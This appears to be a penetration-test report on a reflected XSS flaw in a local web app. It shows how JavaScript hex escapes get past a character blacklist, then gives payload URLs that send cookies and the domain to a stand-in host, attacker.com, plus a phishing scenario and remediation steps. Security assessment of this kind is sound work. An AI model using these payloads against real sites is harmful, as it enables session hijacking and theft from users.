# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: Reflected XSS via JavaScript Hex Escape Sequence Bypass

**Summary:**
- **Vulnerable location:** `http://localhost:43287/page?name=<payload>`
- **Overview:** The application reflects user input into a JavaScript string context within a `<script>` tag, then passes it to `document.write()` for HTML rendering. While the application implements a character blacklist blocking `<>'"`, uppercase letters A-Z, and brackets `[]`, it fails to prevent JavaScript hex escape sequences (`\x3c` for `<`, `\x3e` for `>`). These escape sequences are evaluated by the JavaScript engine before `document.write()` renders them as HTML, creating a context mismatch vulnerability that enables arbitrary JavaScript execution and data exfiltration.
- **Impact:** An attacker can execute arbitrary JavaScript in the context of any victim who visits a malicious URL. This enables session hijacking (if cookies existed), credential theft via phishing overlays, unauthorized actions on behalf of the victim, and information disclosure from the DOM.
- **Severity:** Critical

**Prerequisites:**
None - This is a reflected XSS vulnerability that requires no authentication or special application state. Any anonymous user can exploit this vulnerability.

**Exploitation Steps:**

1. **Craft the malicious URL with hex escape bypass payload:**
   ```
   http://localhost:43287/page?name=\x3cimg src=x onerror=alert(document.domain)\x3e
   ```
   
   **Explanation:** The payload uses JavaScript hex escape sequences:
   - `\x3c` = `<` (bypasses the `<` character blacklist)
   - `\x3e` = `>` (bypasses the `>` character blacklist)
   - When embedded in a JavaScript string context, these are evaluated as `<img src=x onerror=alert(document.domain)>` before being passed to `document.write()`

2. **Navigate victim to the malicious URL** (for demonstration, navigate in browser):
   Open the URL in a browser or send to victim via phishing email, social media, or any other attack vector.

3. **JavaScript execution occurs automatically:**
   - The payload passes the character blacklist validation (no literal `<` or `>` characters detected)
   - The server embeds the payload into JavaScript: `var name = "\x3cimg src=x onerror=alert(document.domain)\x3e";`
   - JavaScript engine evaluates hex escapes, converting them to actual HTML metacharacters
   - `document.write()` renders the result as HTML: `<img src=x onerror=alert(document.domain)>`
   - The `onerror` event handler fires when the image fails to load (src=x is invalid)
   - `alert(document.domain)` executes, displaying "localhost"

**Proof of Impact:**

**Evidence 1: JavaScript Execution Confirmed**
- **Method:** Alert dialog demonstration
- **Result:** Alert dialog appeared with message "localhost", confirming arbitrary JavaScript execution in the browser context
- **Payload:** `http://localhost:43287/page?name=\x3cimg src=x onerror=alert(document.domain)\x3e`

**Evidence 2: Data Exfiltration to Attacker-Controlled Server**
- **Method:** Outbound HTTP request to attacker domain
- **Payload:** `http://localhost:43287/page?name=\x3cimg src=x onerror=fetch(\x27//attacker.com/steal?d=\x27%2bdocument.domain)\x3e`
- **Network Request Captured:** `[GET] http://attacker.com/steal?d=localhost`
- **Result:** Successfully exfiltrated the document domain value to an external attacker-controlled server, demonstrating complete XSS exploitation capability

**Evidence 3: Session Hijacking Capability (Cookie Theft)**
- **Method:** Cookie exfiltration via image src manipulation
- **Payload:** `http://localhost:43287/page?name=\x3cimg src=x onerror=this.src=\x27http://attacker.com/log?cookie=\x27%2bdocument.cookie%2b\x27;d=\x27%2bdocument.domain\x3e`
- **Network Requests Captured:** Multiple `[GET] http://attacker.com/log?cookie=;d=localhost` requests
- **Result:** Successfully demonstrated cookie exfiltration mechanism. While no session cookies exist in this application (no authentication implemented), the attack proves that if cookies were present, they would be exfiltrated to the attacker's server. The format `cookie=;d=localhost` shows the cookie value (empty) and domain being sent to the attacker.

**Real-World Attack Scenario:**
1. Attacker crafts phishing email with malicious link: `http://localhost:43287/page?name=\x3cimg src=x onerror=fetch(\x27http://attacker.com/steal?cookie=\x27%2bdocument.cookie)\x3e`
2. Victim clicks link while logged into the application
3. XSS payload executes in victim's browser
4. Victim's session cookie is sent to `http://attacker.com/steal?cookie=<SESSION_TOKEN>`
5. Attacker receives session token and can hijack victim's session
6. Attacker performs unauthorized actions as the victim

**Notes:**
- **No CSP Protection:** The application has no Content Security Policy header, allowing unrestricted script execution and external requests
- **X-XSS-Protection Disabled:** The application explicitly sets `X-XSS-Protection: 0`, disabling browser-based XSS filters
- **Uppercase Letter Constraint:** The blacklist blocks all uppercase letters (A-Z), limiting certain payloads but not preventing exploitation. Attackers can use lowercase-only payloads or JavaScript string manipulation methods to work around this constraint
- **PhantomJS Validation:** The application uses PhantomJS to validate XSS execution, confirming that payloads execute in a real browser context (not just reflection in HTML source)
- **Persistent in Browser History:** The reflected XSS payload appears in the URL, which may be logged in browser history, proxy logs, and referrer headers, creating additional attack vectors

**Remediation Recommendations:**
1. Implement proper context-aware output encoding using `json.dumps()` for JavaScript string contexts
2. Replace blacklist validation with whitelist validation (allow only alphanumeric characters and spaces)
3. Implement Content Security Policy (CSP) header: `Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'`
4. Enable browser XSS protection: `X-XSS-Protection: 1; mode=block`
5. Use Jinja2's automatic HTML escaping instead of Python string formatting
6. Set HTTPOnly flag on all session cookies (if authentication is implemented)
7. Upgrade to modern, supported software versions (Python 2.7.18 is end-of-life)
